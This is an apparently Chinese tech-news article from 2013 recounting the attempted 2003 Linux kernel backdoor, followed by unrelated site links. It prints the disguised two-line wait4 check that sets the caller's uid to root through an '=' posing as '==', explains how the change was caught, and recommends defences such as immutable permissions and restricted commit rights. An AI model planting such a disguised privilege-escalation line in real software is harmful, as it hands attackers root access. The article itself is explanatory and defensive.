NVIDIA 初创加速计划,免费加速您的创业启动 了解详情
写点什么

回顾 Linux 内核后门

  • 2013-12-29
  • 本文字数:1138 字

    阅读完需:约 4 分钟

由于最近大众对美国国家安全局(NAS)的关注,人们的注意力转移到后门程序上。对于不熟悉该术语的人们,后门是一种有意在操作系统或软件中植入的漏洞,允许未授权的用户访问系统。在 2003 年曾经有人试图向 Linux 内核植入后门,虽然被发现了,但是这表明不论看上去多普通的变更都会引入漏洞,以及源码控制管理的重要性。

Corbet 在 LVN.Net 的文章中首次提到以下这段代码,它把自己伪装成类似 wait4 函数的参数校验。

复制代码
if((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;

正常情况下没有任何影响,但是如果调用程序故意传入非法值,if 表达式的第二部分就会执行。该部分会将程序的用户 ID(current->uid)设为 0, 在 Linux 中就是 root 用户。

一眼看上去这就像是一个简单的代码错误,开发人员经常疏忽将’==‘写成’=’。虽然你认为函数 wait4 不应该与用户 ID 有任何关系,但是很明显这是故意为为之。

Corbet 描述了该后门是如何被发现的

CVS 库中的每个变更都会包含反向链接信息,表明与 BitKeeper 中的变更相同。有问题的变更缺少这样的信息,所以很快就能辨认出来。 试图通过这种方式进行变更是很可疑的,至少可以这么说,所以我们非常关注变更请求到底是什么。

攻击者曾经再次向 BitKeeper 库的 CVS 克隆库中植入后门。他继续说道

CVS 代码库是从 BitKeeper 生成的,但是补丁程序进入 BitKeeper 代码库并不经过它。所以有问题的代码只会影响基于 CVS 代码库工作的用户。发行商使用的内核不是来自该库,这次事故也说明,问题代码能够驻留很长一段时间。

大家想象一下,如果有人向代码库发起这样的攻击,增加几行看上去很好的代码,实际上植入了一个后门,而代码库没有 Linux 内核团队的控制和严格检查,你如何保护自己不受攻击。

一种方式是在应用程序中创建自己的“内核”,只有这段代码可以改变用户的角色和权限。其他的代码只是获取到用户权限的只读视图,这样他们就不能轻易得获取 root 权限。

在这样的模型中,"current->uid=0"这样的代码不会编译。如果任何人想实施攻击,或是直接修改应用程序的安全模块,但是我们会密切关注这样的修改,或是使用反射的伎俩,但是反射代码肯定比简单的赋值操作更容易被察觉到。

如果语言层面支持,一种更好的方式是使用户权限完全不可变。这种方式能够更大程度限制攻击发生的地方,只能是创建权限的地方。

这些措施应该配合对源码控制服务器的限制进行实施。一是限制尽可能少的人向主分支中提交代码,而不是过于开放;二是安全敏感代码默认应该完全锁定,只能根据问题具体情况授予编辑权限,实施的具体方法依赖此人是否使用分布式或集中式的源码控制以及具体的产品。

如果没有在变更代码成为产品之前进行审计,最终这些技术都会失效,这些措施只能减少审计疏漏问题发生的可能性。

2013-12-29 22:134266
用户头像

发布了 28 篇内容, 共 95509 次阅读, 收获喜欢 0 次。

关注

评论

发布
暂无评论
发现更多内容

Android 四大组件全解读,kotlin极简教程

android 程序员 移动开发

Android 屏幕适配方案,安卓开发

android 程序员 移动开发

Android View Binding使用详解,阿里巴巴安卓面试题答案

android 程序员 移动开发

Android WebView判定网页加载的错误,androidtv开发者模式

android 程序员 移动开发

Android 可能你想要的APK瘦身笔记,2021最新安卓大厂面试题来袭

android 程序员 移动开发

Android 启动优化: JetPack App Startup 使用及源码浅析

android 程序员 移动开发

Android WebView与Native通信总结,Android中高级面试必知必会

android 程序员 移动开发

百度人脸活体检测系统通过信通院“护脸计划”首批优秀级安全防护能力评估

百度大脑

信通院 人脸活体检测

Android Zygote 从何而来?揭开Android系统启动的面纱,flutter真机调试

android 程序员 移动开发

CDP客户数据管理平台体系化搭建

CRM 客户数据平台 CDP DSP DMP

Android 可控制概率家务转盘,移动端跨平台开发大型项目

android 程序员 移动开发

android 对不同日期和时间的格式方法的封装,46道面试题带你了解高级Android面试

android 程序员 移动开发

Android 常见的数据存储方式,腾讯T2大佬手把手教你

android 程序员 移动开发

WordPress站点快速集成腾讯数字身份管控平台CIAM,免开发实现登录认证

腾讯安全

Android wifi属性简介 及 wifi信息获取(wifi列表、配置信息

android 程序员 移动开发

Android _《看完不忘系列》之Retrofit,flutter下载文件

android 程序员 移动开发

Android 使用微信开放平台分享内容到微信,apm性能监控系统

android 程序员 移动开发

Android 如何从应用深入到Framework (一),2018移动应用开发前景

android 程序员 移动开发

Android 存储空间的最佳实践,【金九银十】

android 程序员 移动开发

Android 存储进化:分区存储,2021最新Android笔试题及答案

android 程序员 移动开发

Android 实现水印背景效果,kotlin教程

android 程序员 移动开发

Android ViewPager2 & TabLayout,fluttertextfield高度

android 程序员 移动开发

Android Volley 源码解析(一),ffmpeg音视频开发实战2019下载

android 程序员 移动开发

Android 内存性能优化,灵魂一问-如何彻底防止APK反编译

android 程序员 移动开发

软件测试面试屡屡失败,面试官总是说逻辑思维混乱,怎么办?

六十七点五

学习方法 面试 软件测试 自动化测试 测试工程师

Android 应用层开发 Drawable 的一些叨叨絮,跨平台移动开发答案

android 程序员 移动开发

Android 使用Face++ SDK进行人脸识别和年龄检测,android开发网络框架

android 程序员 移动开发

Android 单元测试之 Mockk,idea开发android教程

android 程序员 移动开发

Android 实现双Launcher的无缝切换,flutter免费视频教程

android 程序员 移动开发

使用桥接模式设计复杂的消息系统

Tom弹架构

Java 架构 设计模式

Android 应用层开发 Drawable 的一些叨叨絮(1),androidstudio中文社区

android 程序员 移动开发

回顾Linux内核后门_安全_Jonathan Allen_InfoQ精选文章